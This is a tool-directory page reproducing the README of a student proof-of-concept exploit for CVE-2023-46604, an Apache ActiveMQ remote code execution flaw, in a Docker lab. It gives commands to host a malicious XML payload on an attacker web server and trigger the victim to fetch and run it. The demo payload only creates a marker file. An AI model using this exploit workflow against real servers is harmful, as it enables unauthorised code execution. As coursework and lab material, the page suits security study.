Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SSP-Assignment-3-RCEYouLater — A PoC for CVE-2023-46604 written as part of SPS class for the Advanced Cyber Security master's at UPB. | Kitploit
Tools/GitHubGitHub/rockydesigne/ssp-assignment-3-rceyoulater
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubrockydesigne/ssp-assignment-3-rceyoulater

SSP-Assignment-3-RCEYouLater

A PoC for CVE-2023-46604 written as part of SPS class for the Advanced Cyber Security master's at UPB.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
228 months agoNot yet reviewed
Share

CVE-2023-46604: Apache ActiveMQ RCE Proof of Concept

Assignment: SSP Assignment 3 Team: RCE You Later Members: Banica Horia Alexandru, Comarlau Vlad-Constantin

Video link of using the repo to do the PoC: https://www.youtube.com/watch?v=vum4qTF4ygU

🚨 Overview

This repository contains a fully functional Proof-of-Concept (PoC) for CVE-2023-46604. This vulnerability allows an attacker to execute arbitrary shell commands on a vulnerable Apache ActiveMQ server (version 5.15.10) by forcing it to deserialize a malicious XML configuration file.

Goal: Create a file named pwned_by_ssp_team inside the victim server to prove we have control.


🛠️ Prerequisites

Before running the exploit, ensure you have:

  1. Docker & Docker Compose (Installed and running)
  2. Python 3

📂 Repository Structure

  • vulnerable-env/: Contains the Docker setup for the victim server.
  • attacker/: Contains the exploit scripts and malicious payloads.
    • exploit.py: The Python script that sends the malicious packet.
    • serve.py: A simple HTTP server to host the XML payload.
    • poc.xml: The malicious configuration file that contains the command touch /tmp/pwned_by_ssp_team.

  • 🚀 Step-by-Step Usage Guide

    Step 1: Start the Victim (ActiveMQ)

    We will run an old, vulnerable version of ActiveMQ using Docker.

    1. Open a terminal.
    2. Navigate to the vulnerable-env folder:
      root@kitploit:~
      cd vulnerable-env
      
    3. Start the container:
      root@kitploit:~
      docker-compose up -d
      
    4. Wait 30 seconds for the server to fully start.

    Step 2: Host the Malicious XML

    The victim server needs to download instructions from us. We will set up a small web server to host these instructions.

    1. Open a second terminal.
    2. Navigate to the attacker folder:
      root@kitploit:~
      cd attacker
      
    3. Start the Python web server:
      root@kitploit:~
      python3 serve.py
      
      Keep this terminal open! You should see "Serving HTTP on 0.0.0.0 port 8000..."

    Step 3: Launch the Exploit

    Now we send the specific network packet that triggers the vulnerability.

    1. Open a third terminal.

    2. Navigate to the attacker folder:

      root@kitploit:~
      cd attacker
      
    3. Run the exploit script.

      • Note: If you are on macOS or Windows, use the command below exactly as written.
      root@kitploit:~
      python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
      
      • Linux Users: If you are on Linux, replace host.docker.internal with your the gateway of the network bridge, usually: 172.17.0.1. Try to get the address like so if the prescribed one does not work: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

    Step 4: Verify the Hack

    Did it work? Let's check if the file was created inside the container.

    1. Go back to your first terminal (or any terminal).
    2. Run this command to check the /tmp folder inside the victim:
      root@kitploit:~
      docker exec activemq-victim ls -l /tmp
      
    3. Success: You should see a file named pwned_by_ssp_team.

    🧹 Cleanup

    To stop and remove the vulnerable container:

    root@kitploit:~
    cd vulnerable-env
    docker-compose down
    
    Download Tool